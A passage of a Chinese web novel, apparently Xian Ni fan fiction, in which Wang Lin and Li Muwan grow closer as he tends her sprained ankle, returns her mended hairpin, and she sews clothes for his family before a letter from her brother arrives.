用过晚饭后李慕婉回到竹林小院,沐浴完回屋里点灯看了好一会儿医书。夜间竹林时不时发出凄厉的声响,是风刮过的声音,吱呀吱呀绕在屋檐上,李慕婉怕黑,心里总会无意想着那些鬼神之说。 过亥时,夜色正浓,李慕婉出来要洗漱下榻歇息,在院里的她忽闻一声动静,海棠院墙外似有一阵脚步声靠近,她定在原地不敢出声,倾听着。 又闻院门有推动的声音,她害怕提着胆,故作镇定喊道:“谁?” 静了片刻没有应声,李慕婉灵机一动:“我阿兄刚睡下,若有事明日再来吧。” “是我,王林。”王林应着她。 “阿兄?”听见熟悉的声音,李慕婉喜出望外,跑着步子去开门,月色微光,李慕婉看着他那张脸,隐约能看见赶路的疲惫。 “阿兄,你怎么回来了?”李慕婉开了门,立在一侧,满是惊喜,“不是说要在镇上住两个月?” “嗯,计划有变。”李慕婉接过他包袱。 “那阿兄明日还要去么?” “去,回来住。”他知道李慕婉想问什么,已经回了她想问的话。 天黑后他心底总是不安,掌柜安排了住宿,他却惴惴不安,脑海里荡着她那句“婉儿害怕”,最终决意还是回家,至于旁的思虑再说吧。 只是入夜后镇子已经没了回村的马车,他只能步行回来,是以回的时候花了些时辰。 “阿兄这么晚回来,可有用过膳了?婉儿给你弄些吃的垫垫肚子吧。”肉眼可见她的开心,王林只觉赶的路途也算值了,心底松了一些。 声音也跟着柔道:“用过了,不必麻烦。” “那我给阿兄烧些热水吧,你先去歇着,婉儿烧好后唤你。”李慕婉替他包袱放回厢房,身影忙碌在厨房里。 王林身上出了汗,确实想要沐浴,只是身上热得很,倒想冲洗凉水,依在厨房外止住她说:“你别忙了,我洗凉水就行。” “那怎么成?”李慕婉放下木桶起身说,“洗凉水要生病的,我答应周婶王叔要照顾好你。” 王林主动拎过木桶里的水,她还没倒锅里去烧,人就往后院净室去了,李慕婉跟上去想再劝劝,王林已经拉了帘子,李慕婉瞧见他脱衣的动作,侧了侧身撇开视线还是坚持道:“烧个水时间很快的,阿兄等一等再洗吧。” 帘子后他肩头以上露出一抹白,颈部线条精致,他故意道:“那你要进来把水拎出去烧?” 李慕婉错愕,险些以为听错了,反应过来后气鼓鼓看着他,颇有怨念:“你……” 王林也不管她,盯着她看了好一会,见她没有进来的意思,朝木桶里招水,李慕婉听得动静,没得法子,只能走开了。 王林洗浴后出来回到西厢房,见屋内点了安神香,又添满茶,包袱里的衣裳挂回衣架里,他朝窗口望去,东厢房的妆台下模糊见着灯影,那影子从窗台移到门外。 她听见王林回来前院的动静,走到西厢房外,没有进去的意思,朝里边的人说:“阿兄,你换的衣裳放好就是,婉儿明日再洗,忙了一日,明日还要早起,别再挑灯温书了,身体吃不消的,早些睡下吧。” “知道了。”王林声音从窗口传来,看着院中倩影,“你也早些睡,不用顾我。” 接连几日王林早出晚归,无论多晚都会赶路回来,李慕婉知道他会回,每日也到村口去等他。 王林起先让她别等,每日时间也不定时,可经几次,回来已是戌时,李慕婉仍然在村口等着他,自此之后王林再忙也会赶在天幕彻底暗下前回到王家村。 先前拿去镇上修的莲花簪半个月后修好了,王林拿了回来,铺子收了他三两银子,只要能修好,银子不是问题,先前替人写信也攒了些。 回的路上遇着卖冰糖葫芦的,他买了两根,揣在袖袋里,回来的早也会事先做好饭菜,李慕婉攒了批药草,准备过两日市集再拿去卖。 二人吃过饭李慕婉收拾厨房,王林收拾院子,两人各忙各的,李慕婉来西厢房看书,王林已经看了小半个时辰。 “阿兄,”李慕婉敲了敲木门自顾走进去,一边说,“后日我同你一块去镇子,你早上起来等等我好不好?” “你去等信吗?”王林每日在木雕铺子都会替她留意回信,只是一直没有收到。 “我想把这些草药拿去换了。”她去了镇子自然要去铺子问信的事。 “嗯。”王林点头应下,李慕婉垂首专注着医书,这些日子她看的大部分都是与药方有关的书籍,她想运用学到的这些药理,根据每种药效不同,制成不同功效的药丸,这样能卖出更高的价钱。 “这个给你。”王林拿出那两根糖葫芦,摆在她跟前。 李慕婉视线闯入一抹红色,她抬眸接过:“糖葫芦,阿兄特意给我买的吗?” 她笑得甜,咬下一口,满脸笑意:“甜。” “街上小孩在卖,就剩两根,回的时候看见就给他买下了。”王林若有似无解释道。 李慕婉并未在意他这话的意思,吃过的那根糖葫芦举在他唇边,“阿兄也吃。” “我不吃。”王林微微后仰,避开她。 李慕婉坚持,糖葫芦没有收走:“你尝一尝嘛。” 只听沉沉一声叹息,王林无奈咬下一颗,入口上面一层糖浆是甜的,咬开后便是酸味,他不爱吃甜食也不爱吃酸。 “好吃吗?”李慕婉歪头低低看着他。 王林轻点头,李慕婉又递过去,王林又摇头道:“你吃,给你买的。” 李慕婉察觉他并不爱吃,也没再坚持,甜甜朝他笑了笑:“阿兄真好。 这日李慕婉上山采药回来天已经暗了,王林今日回的早,见家中没人,猜着她是上山去了。 刚过村口,见着两个熟悉的人影往这边来,李慕婉率先打着招呼:“清儿阿姐,敏儿?” 叶家姐妹二人来送女工到谢三婶家,叶清儿看着李慕婉,微微点头,“婉儿姑娘从山上刚回来?” “是,”李慕婉上前,“你们来寻花影的吗?” 叶敏儿因着王家的事,心里本就有怨气,见李慕婉后对她也没好脸色,摆起架子来,“不然呢,我们来王家村,总不能寻你阿兄吧?当初要议亲的是你们,要回绝的也是你们,瞧我阿姐性子好,好欺负可是?” 李慕婉笑容收回,此事确实是王家做得有失礼数,可到底两家还未定性,相看不成的多的是,并未规定相看了就必须要定亲。 “我阿兄没有这个意思,他只是觉着该考了功名才能给清儿阿姐好的生活,先前是没思虑好,此事王家也尽了歉意。” “哼,考取功名又如何?我阿姐不稀罕,他王林一副自视清高,孤傲不可一世的模样,当真自己是状元郎了不成,原以为王家是个老实本分的,不然我爹娘也不会答应谢婶去相看。”叶敏儿撇着嘴道。 “敏儿,别说了。”叶清儿拉着她要走,“不好意思婉儿姑娘,我妹妹她就是嘴巴快,心里不坏的,她只是想替我出口气,你不要放心上,天色暗了,我们也要回去了。” “阿姐,你总是这样替他人说好话,”叶敏儿甩开手,纠缠着李慕婉,“你以为你阿兄是什么善类?也就只有你整日跟在他后头阿兄长,阿兄短,他若是正人君子清明不二,那夜为何丢弃我阿姐,让我阿姐一个人在街头,明知我阿姐脚受了伤无法走路,却不管不顾,如此冷血无情的人,我们叶家可看不上。”叶敏儿越说越气。 “就这德行还想考取功名,活该今年考不上,来年也照样考不上,伪君子,小人。” 李慕婉本不想与她口舌相争,却见叶敏儿言辞越发激烈,口中对王林的谩骂不听,她不知那夜他们之间发生了何事,但在她心里,王林并非她所说那样,她见不得旁人诋毁。 叶敏儿骂了许久口干了才觉心中怨气消散些,准备拉着叶清儿回花溪村。 抓着背篓肩带的李慕婉默了片刻,紧跟上去拉过叶敏儿要理论:“我阿兄不是你说的这样,他只是性子孤冷,可心却不坏,我不知他跟清儿阿姐间有何种误会,倘若是他做的不周,今日我替他道歉,另我阿兄勤勉好学,也定会考得功名,你适才所说不作数。” 叶敏儿被她抓着的手腕捏得紧,有些不适,试图抽回时李慕婉却加重力道,“而且,他并非你口中的虚伪小人,他心怀大义,会写策论批判世道不公,同情弱小,重情重义,你不许走。” “做什么?李慕婉,若不是看你跟花影好,就王林对我阿姐做的这事,我也不会对你嘴下留情,你阿兄就不是什么善类。” “你道歉,不若你走不了。”李慕婉目光凌厉,冷眼对着她,丝毫不怯。 叶敏儿没见过她这般气势,显然有些诧异,竟然有些怂了,“你,你放手。” “为你适才对我阿兄言语不敬道歉,我就放。”李慕婉目光坚定,势必要她道歉。 “好,你放,你放了我再道歉。” 李慕婉松开手,等着叶敏儿说,可叶敏儿一副蔑视的神情 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王林上前伸手去搀她,李慕婉搭上手起身时脚腕一股痛觉传来,她忍着没出声,望着王林,像做错事一般想要解释,“阿兄,我……” “等我。”王林转身冰冷望着叶清儿说,“若我王林先前之事有欠于你,大可寻我论事,何必为难于她?” 叶清儿看了看李慕婉,又看王林,“此事是小妹不对,先前的事你并未做错什么,本就两厢情愿之事,婉儿姑娘,我替小妹向你道歉。” 李慕婉立在身后仍想力争,“她言语辱骂我阿兄,理应向我阿兄道歉。” 叶敏儿被王林的气势喝住,不敢靠前只能隔着空不服输,指着李慕婉:“王林,阿姐那夜为了你歪了脚,你为何不顾,你拒与我阿姐相谈婚事,可是因为她?” “你阿姐自己没站稳,与我何干?”王林碰都没碰她,至于崴脚一事他更是不知情,他也不关心,“王家与叶家相看,又与她何干?倘若再纠缠李慕婉,就不是像今夜伤你一条腿了。” 叶敏儿瞪着他,满眼愤恨,叶清儿无地自容,拉着叶敏儿就要走,口中远远谩骂:“王林,你负心薄幸,孤高自傲……” “不送。”王林冷冷道。 海棠树下,李慕婉拍了拍衣摆的碎屑,王林捡起地上的背篓,又把洒出的草药一一收回,李慕婉低头不作声,看着他动作。 “愣着做甚?”王林单肩背起药篓,温声说,“回家。” 走出一段距离后身后无人跟来,察觉后顿足停下步子,后头看见李慕婉还呆在原地,没有要动的意思。 “怎么了?” “阿兄,我脚扭了。”李慕婉低声到。 王林转身回去,靠近后蹲身查看,随着他试探的力度李腕骨传来阵痛。 “疼,”李慕婉收回腿,手指转着衣袖,难为情说,“这里回去还有好一段路要走,婉儿怕是走不回去了。” 王林思索须臾,背过去蹲下身,冷硬道:“上来。” 李慕婉看着他宽背,犹豫些许,王林催促着:“快些,家里做了饭,再不回去就冷了。” 过了片刻,背部轻轻压下一股重量,李慕婉双臂轻扶着他肩头,王林起身时掂了下,李慕婉怕摔下意识搂紧他脖颈,双臂环住了,低低趴到他肩头,见王林没有反应,她就着这个姿势。 “阿兄,我信你没有欺负清儿阿姐。”王林的发带垂在她肩头,李慕婉说话时气息滚绕在他耳侧。 “阿兄,婉儿无心与她们争执的,我是不是给你惹祸了?” “本就是因我起的事,若无我先前唐突叶家,叶家姐妹对我有偏见,她们见不着我,就把气撒在你身上,这才连累了你。若说麻烦,应是我给你带来了麻烦,你不必与我道歉。”王林声音清朗。 “其实,你不必因我与她们理论什么,我不在意旁人如何看我。” “不成,”李慕婉直直从后盯着他侧脸,“叶敏儿辱骂阿兄,婉儿心里过不去,阿兄并非她口中所说的那种人。” “那是哪种人?”王林忽而停下脚步,微往她的方向侧了侧,“你觉得是哪种人?” 李慕婉想了想,脑海中的印象,“阿兄表面虽冷,可是比谁都重情,你能不顾自身安危,萍水相逢之下也要救下我,就能说明你心中仗义赤诚,叶敏儿辱你骂你,你也不会与她计较,是以心胸宽阔,乃正人君子,与她口中之人毫不相干。” “阿兄,你不要听她的话,她说的不对。”李慕婉言辞宽慰道,她不想任何人有辱他,谁也不行。 王林浅浅一笑,“你,当真这么觉着?” 背上的人昏昏欲睡,声音越来越小,“嗯,阿兄是除了哥哥外,最好的人,阿兄不是冷血之人……阿兄,重情……” 耳侧的气息渐渐微弱,呼吸平稳,王林半侧头,身音断了,睡着了? 一直回到竹林小院,堂屋内王林给她放下来,李慕婉才醒,屋内点了烛火,睡眼惺忪的人揉了揉眼,光亮逐渐清晰。 王林身影从外头渡进来,手里拿了伤药。 “扭伤要及时处理,不然会落下病根,就跟我娘一样,天气一变就作痛。”王林从她身前蹲下,理所当然抓过她小腿,李慕婉受惊。 “弄疼了?”王林手中力道放轻,“那我轻一些。” “无,无碍。” 李慕婉面带红晕,脚腕传来他掌心的温热,渐渐的不那么疼了,抹过药物的地方一股热辣。 因着自己的原因,倒叫她受了委屈,还因维护自己受了伤,王林终是不忍心,将那支修好的莲花簪拿给她,“你的簪子。” 失而复得的喜悦涌上心头,李慕婉先是愣了瞬,不可置信。见她无动于衷,王林又道:“怎么,那日不是还因这个哭了吗?” 李慕婉糗事被提,有些困窘,再则清澈眼眸弯起,伸手去接了那支发簪,语气带着惊喜:“阿兄如何寻回来的?” “落在那晚的田埂上了。”王林若无其事道。 那夜明明寻了许久,在田里都没找到,李慕婉问:“阿兄几时寻到的?” 王林不答,“既是你娘亲留下的贵重之物,往后收好了,丢弃的东西不是每一次都能寻回来的。” 李慕婉见他不想多说,也没多问,将发簪护在心口,很是珍惜,心里感激道:“阿兄说的是。” “这几日你不要上山了,养好了再出院子。”王林起身收起药瓶,又出去端了饭菜,二人用完饭,王林扶她回了东厢房休憩。 李慕婉腿脚不便,为了不麻烦王林,便在自己屋里看,伤筋动骨还要一百天,她这算轻的,少说一个月不能上山了。 20.犯冲 清晨微风拂过,露雾弥漫竹林,王家小院藏了一半,露出一半,李慕婉扶着床沿下榻,扭伤的脚腕更肿了些,稍一用力便疼得不行,她只能单脚跳着走。 房间木板震动下显得动静格外大,院外挑水回来的王林闻声还以为是她摔了。连忙放下木桶赶到门口,恰与支起窗子的李慕婉对上视线,李慕婉面露惊诧。 “阿兄?这个时辰你不是该去镇上了吗?”手里的动作漫不经心的。 王林见她无事,才暗自松口气,面色如常道:“托人去跟掌柜告了几日假。” “是因为婉儿吗?”李慕婉聪慧,总能猜到缘由的,他是担心自己腿脚不便无法自理,这才不放心的吧。 “等你好一些了,我再去,”王林端了个木盆,从窗户递进去,“不若我娘知道我弃你不顾,回来要训我。” 李慕婉掩唇一笑,接过木盆,里边是温水,给她洗漱用的。 接连几日王林都在小院里,家里洒扫,喂鸡鸭,煮饭烧水都是他一人忙活,其余时间都在温书,李慕婉脚伤这几日,她没法外出采花装点屋子。 见着妆台两日未换的花枝焉了,心情也跟着落寞,几日未去镇子,不知有无燕州来的信。 王林在西厢房温书,她不好总是打扰他,院里还有几株蔷薇开着,是她从竹林里移植回来的,也就几步远,她跳着去应是没问题,思及此,东厢房门开了。 李慕婉扶着墙面,右脚伤的还不能用力,只能蹦着去,行踪蹑手蹑脚的好似一只出来觅食的兔子。 殊不知西厢房窗前,一抹暗中窥探的目光正正望着这边,她自以为隐藏得好,可木板发出的动静王林听得清楚。若只是在她房里,他不会理会,可这声音越来越近,已然到了院中。 李慕婉见西厢房没有动静这才松口气,刚要弯腰时,西厢房声音传来:“你做什么呢?” 李慕婉闻声双手不自觉背过身后,“阿兄?” 可那手里明明什么都没有,她才恍然自己没有做什么亏心事,为何一副理亏的模样。 “我瞧屋里的花焉了,在房里待着无聊,便想出来透透气,顺带折几支花回去插上,”李慕婉见身影走近来,想后退又无法退,“是不是吵到阿兄了。” 王林弯腰折下几株蔷薇花,递过去时不冷不淡:“若有需要可以唤我,免得再伤了脚。” 见王林要回去,自己又无事可做,总想着寻着什么事打发时间,“阿兄,能否扶我去堂屋?我想绣点物件。” 王林回头去扶她往堂屋去,替她备好所需之物才准备离去,李慕婉又叫住他:“阿兄,你能来堂屋看书吗?这样婉儿也不会太无聊,你放心,我不会总与你说话的。” 即便不说话,身边待着人总归没那么空寂。 “你若觉着闷,让花影来陪你说说话。”王林说。 “花影忙着呢,”李慕婉手里绕着线,若有似无说,“也许久不见王浩了。” 她绣工精巧,看样式是个荷包,针法细致且这种针法在长乐县不常见,也只有她给家人绣衣物或是荷包帕子时,才会用这个针法,若非亲密之人也瞧不出来是出自她手。 王林替她寻回发簪,她该是回礼做点什么,思来想去,家中仅剩些衣料能够做个荷包,绣了一日,荷包上刺了几道云纹,一只仙鹤展翅在云端之上,她往荷包放了些提神香料。 昏暮后王林收了书,去厨房做饭。李慕婉收了针脚,她脚不便,为了少些走动,只能待在堂屋百无聊赖等着王林端饭。 她趴在长木桌歇了会儿,天色暗下来,王林从厨房回到堂屋,待他坐下来,李慕婉拿出荷包,双手举在跟前,“给阿兄绣的。” 王林顿了少顷,打量着云纹荷包,“这是?” “荷包,”李慕婉眼波流转,眨了眨,“阿兄帮我寻回发簪,婉儿小小心意,阿兄莫要嫌弃。”李慕婉拿回发簪后观摩过了,流苏的部位虽说与先前很像,可细看还是能看出不同,已经很大程度做了修复,想来他是拿去修过的,不然也不会顾左右而言他。 王林没有立刻接,女儿家之物,他也不是完全不懂,李慕婉见他有所顾虑,又道:“阿兄不必多虑,从前哥哥佩的荷包都是婉儿做的。” 闻言他才收下,“多谢。” 见他要揣入怀里,李慕婉怕他不拿来用,便撑起身,艰难挪了两步靠近王林,从他手里拿了荷包,仔细替他别在腰间,“这荷包里我放了提神香,阿兄日日带着,有助你温书时提神。” 王林默默点了点头,“吃饭吧。” 之后夜里王林在堂屋看了会儿书,瞧李慕婉频频犯困,给人送回东厢房后自己才回了屋子。 *** 次日,东厢房窗开时,几支蔷薇花映入眼帘,看着是刚折下的,院里的花草浇过水了,李慕婉拿过花,往妆台下的花筒插上去。 王林在竹林小院待了五日,李慕婉能走少许,他才回镇上教学,只是每日都比之前回的早,李慕婉脚没好全,便坐在院里梅枝下等,日落余晖照过屋檐时,她遐想着若是有一把琴便好了,自打离开京城后再也没有抚过琴了。 之后几日,李慕婉醒来时,窗前已有折好的花,王林难得休息一日,李慕婉几乎能正常行走。 她在小院闷了大半个月,花影来过几次,她也能解解闷。只是院里的花夏日开的也就那么几种,竹林里花卉品种繁多,混在一块插出来的花极为好看,思来想去,她决定去一趟竹林。 王林从堂屋收拾出来,见着李慕婉掩上东厢房的门,问道:“你要出去?” 李慕婉转身带着笑,“阿兄,我想去一趟竹林,这个时节,竹林的花草长得好,我想移植一些栽在院里,阿兄陪我去可好?” 王林看着满院子的花草,小院留了几条过道,着实没有什么空地能够再栽种了,经过她这些日子的打理,前院与她京城所住府邸时的后花园很是相似。 “嗯。”王林缠上绷带后,拿了背篓和手锄,“走吧。” 京城的有钱人家常用臂缚来护腕,普通人家只能有绷带将就。 日照渐长的白昼,燥热也跟着来,竹林茂盛青翠,只此青绿。 沿着弯曲的小径往深处去,日光透过密林,形成一道道光束,微风拂过,竹林摇曳,斑驳残影落在二人身上。 李慕婉走在前方,忆起往事,不禁念道:“贞姿不受雪霜侵,直节亭亭易见心。梅兰竹菊四君子中,哥哥最爱此君,阿兄呢?阿兄喜欢哪个?” “梅,迎寒而开,美艳非俗,媲与霜雪为傲,有坚韧不屈之征;兰,生于空谷幽僻之处,有谦谦君子之称;竹,经冬不凋,潇洒处世,常作高雅之士;菊,艳于百花凋后,独树一帜,不与群芳争艳,有淡然处之象。”王林望着她发髻上那支桃木莲花簪,淡淡说,“各有所长,谈不上独喜哪个。” 李慕婉转过身倒着走,“婉儿觉着,阿兄更像四君子中的疏影。” 王林歪头轻轻挑了挑眉,不知她此话之意,李慕婉紧接着说:“稚子心坚,梅乃四君之首,悬崖百丈冰,犹有花枝俏,不畏艰险,百折不屈,阿兄便是这样的。” 听闻李慕婉的话,王林有些诧异,竟不知自己在她心中能这般好,“过誉了。” “阿兄不必自谦。”因着她是倒着走的,王林时刻关注着她身后,二人走得慢,李慕婉说了许多,王林听着时不时应一下。 “阿兄,周婶和王叔,可有书信回来?”李慕婉欲要侧身与他并行,不慎脚底踩了个小石险些又扭伤,忽而见她失了重心,王林手臂一捞,将后仰的人搂入臂弯里。 因突如其来的力道,李慕婉身躯不受 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 控制往他身上贴近,额间似轻触到软处,瞬间消散,她不确定是不是错觉。 王林只觉唇瓣被一股清风拂过,留下了两人的炽热,只是这种念头一息间便不见了,腰后的手缓缓松开,王林唇齿微开,“当心些,好好走路。” 李慕婉低着头,将两颊的红晕藏起来,她试图缓解氛围,又接着话题道:“对了阿兄,王叔和周婶近日可有书信回来?他们还好吗?” “嗯,一切都好。” “那他们可有说何时回来?”李慕婉蹲下身,在小道割下捧野菊,又放入王林的背篓里。 “还要月余吧。”王林说。 见她肩头下垂,声音失落,王林又说:“木雕是精细活,急不来,你若有话要带,下次书信时我叫你。” “好,”李慕婉这才有了喜色,她指了指前方高枝上的木槿花,“阿兄,能否帮我摘几支?” 王林取下背篓,抬手轻松压下枝头,折下几支递过去,“阿兄长得高,还好你陪我来了,若我一个人定是够不到的。” “差不多了,”王林拾起背篓,“回吧。” 再晚些林间露雾起来便不好看路了,林荫暗得早,若她一个不慎又伤了,可如何是好。 二人回到小院,李慕婉忙着整理采回来的花草,王林忙在厨房里,先前采摘的药材还有些没有拿去换银钱,就置在廊下的物架上,她想将那些药草规整好,只是架子放得高,她踮起脚也无济于事,只能寻了个矮凳踩上去。 那矮凳子常年暴晒在日光下,已然陈旧,因着天色已晚,她也未曾留意,便直接踩上去,置物架上的药草堆放到最里边,她还得侧身压着一侧才能去够。 只是凳腿已无法承受力量,“咔嚓”一声,凳腿折断,李慕婉惯性后仰,她怎会如此犯冲,接二连三的摔跤。 正以为要跌落下去时,后背一股力量托举而上,王林气息急促,把人抱起又轻轻落下,从厨房出来便见她站在矮凳上摇摇欲坠,欲倒不倒的总会又出事,果不其然。 “阿兄……”李慕婉自知不对,埋首不敢看他。 王林深叹口气,欲言又止,只能摇了摇头,伸手将那些药草码齐,又把矮凳丢到一侧。 李慕婉迈着小步跟上去,余光偷看他,“阿兄……” “我娘让你我二人互相照顾,如今看来,倒是你比较需要看顾,一不留神总要闯祸。”王林步子迈得大,似乎故意的,语气责怪起来。 李慕婉更是懊悔,自觉无地自容,也不敢再跟,只能定在堂屋门前,倚靠着门框,毫无章法地搓起手指,模样很是委屈,倒像是王林给她欺负了一般。 “在那杵着做什么?”王林望着门框倚着的可怜样,不忍道,“吃饭了。” 李慕婉等了少顷,步入堂屋,寻了张矮凳挨着王林坐,又给他碗里夹了些菜,自己才动筷。 “阿兄,你吃。” “燕州这几日陆续有行商回来了。”王林顿了顿心道还是要告与她知。 李慕婉闻声略带着急,“那可有我阿兄的信了?” “燕王与朝廷的这场对峙中,燕王退了步,燕州困局已解,若不出意外,你哥哥收到信,不久应该会有回信传回清平镇的。” “当真?”李慕婉瞳孔微张,“阿兄,我脚伤已经好了,你明日是不是要去镇上了?” “是。” “婉儿想与你同去,”李慕婉思忖,若如王林所说那般,先前是因燕州与朝廷举兵,城内信件送不出来,此时哥哥应是会第一时间送出回信,倘若是信送不进去,那还要再寄到燕州才行,“待吃完饭,我去你屋里写信,可好?” 王林若有所思地点了点头,“卯时起得来吗?” “能的。”李慕婉重重点头,而后顿了顿又说,“若起不来,劳烦阿兄叫我。” 21.束发 是日天光微亮,小院浓雾遮盖,西厢房亮起灯,颀长的身姿推门而出,往东厢房去了,李慕婉扰了清梦去开门。 王林瞧见她那睡眼惺忪的眸子带了怨念,明明是她让自己来叫醒的,怎的好似自己做了天大对不住她的事,这倒是难得看见她有脾性,原是有起床怨气。 他唇角勾起,“还去吗?” 李慕婉揉了揉眼,嗓音是未睡醒的沙哑,“去,阿兄等我。” 细长手臂绕过脑后,缠起长发,用桃木簪插起固定好,又关了房门重新换上衣装,这才同王林出了院子,清早时,山间的浓雾未散,露珠打在发梢,李慕婉紧紧跟着他,手里不知何处采的野菊,东西都在背篓里,王林没让她拿。 到了镇子,王林在木雕铺子的后间教学,李慕婉去送了药草到药铺后便回木雕铺寄信,一整日哪也没去,从燕州回来的行商口中打听到些消息,她隐隐觉着,此次的信寄出,兄长定然能收到。 之后等了月余,虽没有等到信,却收到长乐县的书信,王天水那批木雕已完工,二老从县城赶回来,王家小院又热闹了,李慕婉拉着周英素的手,在堂屋与二人问了不少事,都是关切的话音,只是自己扭伤脚的事,跟王林两人谁都没提。 “瘦了。”周英素瞧着她小脸,“等周婶给你们做好吃的。” 李慕婉想极了她的拿手好菜,“那婉儿想吃周婶做的酱牛肉。” “好,给你们做。” 王林面上隐隐透着不易察觉的幸福之色。 盛暑过后,快迎中秋,书院开了学,王林不必再王木雕铺子去给人补习,便整日带在屋里温书,村子人又开始上山采药,李慕婉跟着去采了一批草药回来。 这批草药卖掉后她交了一半用做家用,剩余买了布料回来,给王家人各自做了身新衣,二老收到新衣裳笑得合不拢嘴,周英素眼含热泪,从没想过活到这个年纪还有人给自己做衣裳,她倒是盼着儿子往后娶了贤妻,或许还能享福给她做一套。 “还有阿兄的,我给他拿过去,让他试试合不合身。”李慕婉捧着新衣就要去西厢房,王林是休息时听见堂屋的谈笑,这才过来的。 正好撞见要出去的李慕婉,李慕婉看着他,“阿兄来了,正好婉儿要去寻你呢。” 王林看了眼她手里的衣裳,朝二老走前,回着李慕婉的话,“有事吗? “婉儿给我们都做了衣裳,还有你的,你也试试。”周英素推了推他,王林不得已起身过去,接过李慕婉手里的衣裳。 “没有量过衣长,都是凭婉儿印象做的,应是不会差很多。”李慕婉期待看着他反应,却不见他喜色。 王林只是淡淡看了几眼,“多谢,费心了。” “阿兄不试试吗?若是不合身婉儿再改。”李慕婉柔声说。 “铁柱,试试吧,婉儿的一片心意。” “试试吧。” 二老见状劝说道,王林只好允下,换了新衣裳回来,肩宽,衣长,袖长都正正好,衬得他挺拔如松的身姿越发明显。 “很合适。”王林目光投过去,“费心了。” 李慕婉这才展开笑颜,“阿兄喜欢就好,本是两个月前想着阿兄成婚就要做的,后来,后来便耽搁了。” 后来又因伤了脚,没法去镇子上挑选衣料,才又耽搁的。 “铁柱的身量也不知随了谁,”周英素说,“长得快,每次周婶替他做衣裳都得重新量。” “阿兄长得高,身形也宽,若是不读书,从军也是好出路呢。”李慕婉盯着他宽肩,宛若还记得上次背她时睡着的安稳。 “早两年,他四叔引荐去修仙,咱们家本是有个修仙名额的,铁柱为了我们放弃了。”王天水谈起时似有些遗憾。 “修仙也要看机缘天赋,人生短短数十载,我舍不得爹娘。”王林说的很平淡,“我又有几个十年能够继续陪在身侧,还不如在这凡世间与爹娘共度安稳一世。” “阿兄说得对,王叔,婉儿听闻修仙界也并非就那么好,修真之人为争夺宝物提升修为,无所不用其极,一个不留意说不定就命丧他人之手。”李慕婉思绪飘远,幼时有仙门到百松书院挑选弟子,她和哥哥修仙资质不差,可家中不舍儿女分离之苦,最终并未踏入修真界。 两人浅浅对视一眼,似志同道合一般。 入夜后李慕婉到西厢房看书,手里捧着个木盒子,那件新衣挂在衣架上,王林换下素日穿的旧衣裳,李慕婉扫了一眼,摇了摇头,去添了灯油。 “阿兄怎么把衣裳换下来了?”李慕婉坐下后翻开医书,“可是穿着不舒服?” “没,在家里也不出去,不用穿这么好的衣裳。”王林淡淡应着。 李慕婉看见他腰间系着荷包,想着他的理由并不假,就此作罢。“做衣裳的料子还剩下一些,我瞧阿兄的已经旧了也没换,便擅自做主按照你用的样式,做成发带和额饰。” 王林合上书,接过木盒打开细看,发带上绣着云纹,额带是编织的,与他常穿的衣裳颜色很是相称。面对李慕婉的细微,他从前那些防备和警惕已溃泄成泥。 视线穿过昏暗,落在李慕婉精致的五官上,她便像是寂夜中的星辰,璀璨而夺目,似要在每个黑暗的角落都留下她的光芒。 李慕婉被盯着有些局促,又怕他不喜欢不愿意接受,索性主动拿过发带,站到王林身后,“我替阿兄系上。” 说话间还未等他反应,李慕婉已然取下他的发带,墨发如瀑散落下来,连王林也没料想她会如此举动,藏在书下的指尖按在桌面上,像是在隐忍什么。 “你,”王林紧闭着眼,又再次睁开,拿她没办法,“我自己来。” 李慕婉从身后给他递过去,可不知怎的他偏就这会手不听使唤,发丝理不全,动作看着格外生疏,李慕婉隐隐做笑,眼眸微抬,“无碍,婉儿来吧。” 两人指尖触碰到的刹那,王林收回手,李慕婉熟练将他长发束成,再系上发带,“以前我也常替哥哥束发的,阿兄于我有恩,我便把你当做自家兄长,你不必介怀,只把婉儿当作家中小妹即可。” 原来对自己百般耐心细致,是因为把自己当做兄长?王林心绪如潮涌。 恍惚间,身前的倩影移近,额间发带被解下,李慕婉贴的很近,气息绕过眉心,他视线无处安放,只能虚虚落在她轮廓上。 “好了。”李慕婉直起身,端详了他片刻,清朗的面容让人不舍移开眼。 王林若无其事避开她的眼神,烛火笼着两个身影,似近非近,不知为何屋内如此闷热,近乎是燥热,他起身时留下一句:“我出去走走,你随意。” 李慕婉望着背影出了西厢房,她独自收拾好了屋子,才稳稳坐在长木桌看书,等了许久,王林也没回来,夜深后留了灯便回了自己屋。 *** 王家村入秋后,山林黄绿相间,算着时间她来了也有半年,镇子上又来了一批行商客,王家小院的花凋净,李慕婉移植了几颗菊花在院子里,百花凋落后唯有菊花开,堂屋一家其乐融融交谈着家长里短,李慕婉在村里听了不少趣事,说与王家人听,像极了一家四口。 王林手里雕着木头,王天水正指导着他,“这木雕讲究的就是一个形神兼备,若是你没考上功名,也能有一门手艺谋生,爹娘啊,也就放心了。” “王叔,我阿兄定然会考上的,婉儿对他有信心。”李慕婉在一旁附和道。 王天水摇摇头说:“你瞧你素日对人家冷脸,婉儿姑娘不与你计较不说,还处处维护你。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “无碍的王叔,我兄长以前也这样,对婉儿严厉,可我知道他是为着我好,阿兄也是如此。” “她说得没错,”王林微抬眸,“儿一定能给爹娘挣个功名。” “好,好好,”周英素慈爱说,“等铁柱考了功名,在京城找个好媳妇,谋个官职,往后也是京城里的人了。” 是啊,考了功名,谋了官职,还能回王家村过这样平凡朴素的生活吗?王林在这一刻竟然难得一见的犹豫了,只是那丝犹疑无人探知。 谈笑声里,被院外一阵脚步声打破,王浩朝着院里喊:“婉儿姑娘,铁柱哥,在家吗?” “是王浩,王浩来了。”李慕婉看见人走进来。 王浩把屋里的人都叫了个遍,近日他也上山采药,王浩家有意要给他相看姑娘,可王浩不乐意,他心里有自己盘算。 “你不是去镇上了吗?”李慕婉起身,给他搬了矮凳。 王浩接过周英素递来的茶水,“去了,你们可知我从镇上带回什么?” 见他卖着关子,李慕婉很是给面子,问道:“什么?” 王浩定了须臾,从袖袋里拿出一封信,“燕州来的信,李慕婉亲启。” 李慕婉呆呆愣在原地,不可置信,过了好一会才恍然,“燕州的回信?” 她迈着步子,脑中一片空白,积攒半年的期待在这时凝成水雾,清澈的眸子里眼眶打转,“我哥哥的回信?” 